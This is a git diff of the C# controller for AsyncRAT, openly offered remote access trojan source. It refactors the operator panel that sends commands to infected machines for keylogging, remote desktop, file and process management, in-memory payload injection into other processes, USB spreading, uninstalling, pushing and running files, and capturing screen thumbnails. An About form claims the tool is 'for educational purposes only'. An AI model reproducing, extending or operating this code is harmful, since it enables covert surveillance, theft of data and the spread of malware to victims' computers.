using AsyncRAT_Sharp.Cryptography; using System.Diagnostics; +using System.Net.Sockets; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -24,7 +25,6 @@ namespace AsyncRAT_Sharp public partial class Form1 : Form { - private static Builder builder = new Builder(); public Form1() { CheckFiles(); @@ -33,6 +33,8 @@ namespace AsyncRAT_Sharp } private Listener listener; + private bool trans; + private static System.Threading.Timer tick; private void CheckFiles() { @@ -63,28 +65,37 @@ namespace AsyncRAT_Sharp } } - private void Form1_Load(object sender, EventArgs e) + private async void Form1_Load(object sender, EventArgs e) { - Text = $"{Settings.Version} // NYAN CAT"; - - PortsFrm portsFrm = new PortsFrm(); + Text = $"{Settings.Version}"; + FormPorts portsFrm = new FormPorts(); portsFrm.ShowDialog(); - Methods.FadeIn(this, 5); + await Methods.FadeIn(this, 5); + trans = true; Settings.Port = portsFrm.textPorts.Text; Settings.Password = portsFrm.textPassword.Text; - Settings.aes256 = new Aes256(Settings.Password); + Settings.AES = new Aes256(Settings.Password); - string[] P = Settings.Port.Split(','); - foreach (var PORT in P) + string[] ports = Settings.Port.Split(','); + try { - if (!string.IsNullOrWhiteSpace(PORT)) + foreach (var port in ports) { - listener = new Listener(); - Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); - thread.Start(Convert.ToInt32(PORT.ToString().Trim())); + if (!string.IsNullOrWhiteSpace(port)) + { + listener = new Listener(); + Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); + thread.IsBackground = true; + thread.Start(Convert.ToInt32(port.ToString().Trim())); + } } } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + Environment.Exit(0); + } } @@ -114,19 +125,14 @@ namespace AsyncRAT_Sharp } - private async void ping_Tick(object sender, EventArgs e) + private void ping_Tick(object sender, EventArgs e) { - if (Settings.Online.Count > 0) + if (listView1.SelectedItems.Count > 0) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = "This is a ping!"; - foreach (Clients CL in Settings.Online.ToList()) + foreach (ListViewItem itm in listView1.Items) { - await Task.Run(() => - { - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.Ping); } } } @@ -134,7 +140,7 @@ namespace AsyncRAT_Sharp private void UpdateUI_Tick(object sender, EventArgs e) { - toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; + toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) @@ -143,10 +149,10 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "close"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } } @@ -163,10 +169,10 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMessage"; msgpack.ForcePathObject("Message").AsString = Msgbox; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } } @@ -178,25 +184,30 @@ namespace AsyncRAT_Sharp { try { - OpenFileDialog O = new OpenFileDialog(); - if (O.ShowDialog() == DialogResult.OK) + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Update").AsString = "false"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + client.LV.ForeColor = Color.Red; + foreach (string file in openFileDialog.FileNames) + { + await msgpack.ForcePathObject("File").LoadFileAsBytes(file); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(file); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); + } } } } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -209,15 +220,16 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "uninstall"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -230,10 +242,10 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "restart"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } catch (Exception ex) @@ -249,25 +261,26 @@ namespace AsyncRAT_Sharp { try { - OpenFileDialog O = new OpenFileDialog(); - if (O.ShowDialog() == DialogResult.OK) + OpenFileDialog openFileDialog = new OpenFileDialog(); + if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); + await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); msgpack.ForcePathObject("Update").AsString = "true"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -278,36 +291,37 @@ namespace AsyncRAT_Sharp { try { - SendFileToMemory SF = new SendFileToMemory(); - SF.ShowDialog(); - if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green) + FormSendFileToMemory formSend = new FormSendFileToMemory(); + formSend.ShowDialog(); + if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMemory"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString())); - if (SF.comboBox1.SelectedIndex == 0) + msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); + if (formSend.comboBox1.SelectedIndex == 0) { msgpack.ForcePathObject("Inject").AsString = ""; msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); } else { - msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text; + msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); } - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } - SF.Close(); + formSend.Close(); } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -322,24 +336,24 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "true"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; - if (RD == null) + FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; + if (remoteDesktop == null) { - RD = new RemoteDesktop + remoteDesktop = new FormRemoteDesktop { - Name = "RemoteDesktop:" + CL.ID, + Name = "RemoteDesktop:" + client.ID, F = this, - Text = "RemoteDesktop:" + CL.ID, - C = CL, + Text = "RemoteDesktop:" + client.ID, + C = client, Active = true }; - RD.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + remoteDesktop.Show(); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -347,6 +361,7 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } @@ -361,23 +376,23 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; - if (PM == null) + FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (processManager == null) { - PM = new ProcessManager + processManager = new FormProcessManager { - Name = "processManager:" + CL.ID, - Text = "processManager:" + CL.ID, + Name = "processManager:" + client.ID, + Text = "processManager:" + client.ID, F = this, - C = CL + C = client }; - PM.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + processManager.Show(); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -386,12 +401,13 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { - builder.ShowDialog(); + new FormBuilder().ShowDialog(); } private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e) @@ -403,23 +419,23 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - FileManager FM = (FileManager)Application.OpenForms["fileManager:" + CL.ID]; - if (FM == null) + FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (fileManager == null) { - FM = new FileManager + fileManager = new FormFileManager { - Name = "fileManager:" + CL.ID, - Text = "fileManager:" + CL.ID, + Name = "fileManager:" + client.ID, + Text = "fileManager:" + client.ID, F = this, - C = CL + C = client }; - FM.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + fileManager.Show(); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -428,6 +444,7 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } @@ -440,23 +457,23 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "true"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + CL.ID]; + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL == null) { - KL = new Keylogger + KL = new FormKeylogger { - Name = "keyLogger:" + CL.ID, - Text = "keyLogger:" + CL.ID, + Name = "keyLogger:" + client.ID, + Text = "keyLogger:" + client.ID, F = this, - C = CL + C = client }; KL.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -465,6 +482,7 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } @@ -476,16 +494,16 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "botKiller"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } - tabControl1.SelectedIndex = 1; } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -498,16 +516,16 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } - tabControl1.SelectedIndex = 1; } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -516,23 +534,81 @@ namespace AsyncRAT_Sharp { if (listView1.SelectedItems.Count > 0) { - string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); - if (string.IsNullOrEmpty(url)) - return; - else + try { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "visitURL"; - msgpack.ForcePathObject("URL").AsString = url; - foreach (ListViewItem C in listView1.SelectedItems) + string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); + if (string.IsNullOrEmpty(url)) + return; + else { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "visitURL"; + msgpack.ForcePathObject("URL").AsString = url; + foreach (ListViewItem itm in listView1.SelectedItems) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); + } } } + catch { } } } + private void ABOUTToolStripMenuItem_Click(object sender, EventArgs e) + { + new FormAbout().ShowDialog(); + } + private void Form1_Activated(object sender, EventArgs e) + { + if (trans) + this.Opacity = 1.0; + } + + private void Form1_Deactivate(object sender, EventArgs e) + { + this.Opacity = 0.95; + } + + private static System.Threading.Timer Tick { get; set; } + private void STARTToolStripMenuItem_Click(object sender, EventArgs e) + { + Tick = new System.Threading.Timer(new TimerCallback(GetThumbnails), null, 2500, 5000); + } + private void GetThumbnails(object obj) + { + if (listView1.Items.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + + foreach (ListViewItem itm in listView1.Items) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); + } + } + catch { } + } + } + + private void STOPToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + Tick?.Dispose(); + listView3.Items.Clear(); + imageList1.Images.Clear(); + foreach (ListViewItem itm in listView1.Items) + { + Clients client = (Clients)itm.Tag; + client.LV2 = null; + } + } + catch { } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx index 165d9f9..ae76e9b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx @@ -129,6 +129,12 @@ 490, 17 + + 1262, 17 + + + 1113, 17 + 629, 17 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs new file mode 100644 index 0000000..a6b3f93 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs @@ -0,0 +1,71 @@ +namespace AsyncRAT_Sharp.Forms +{ + partial class FormAbout + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormAbout)); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // richTextBox1 + // + this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.DetectUrls = false; + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Enabled = false; + this.richTextBox1.Location = new System.Drawing.Point(0, 0); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.ReadOnly = true; + this.richTextBox1.ShortcutsEnabled = false; + this.richTextBox1.Size = new System.Drawing.Size(526, 253); + this.richTextBox1.TabIndex = 0; + this.richTextBox1.Text = resources.GetString("richTextBox1.Text"); + this.richTextBox1.ZoomFactor = 1.1F; + // + // FormAbout + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(526, 253); + this.Controls.Add(this.richTextBox1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FormAbout"; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "AsyncRAT | About"; + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.RichTextBox richTextBox1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs new file mode 100644 index 0000000..0b5a3e2 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Forms +{ + public partial class FormAbout : Form + { + public FormAbout() + { + InitializeComponent(); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx new file mode 100644 index 0000000..9804f8a --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx @@ -0,0 +1,589 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + │ Author : NYAN CAT + │ Name : AsyncRAT © 2019 + │ Contact : github.com/NYAN-x-CAT + + This program is distributed for educational purposes only. + + #Credits; + MessagePack @ymofen + StreamLibrary @Dergan + + + + + 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 + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + 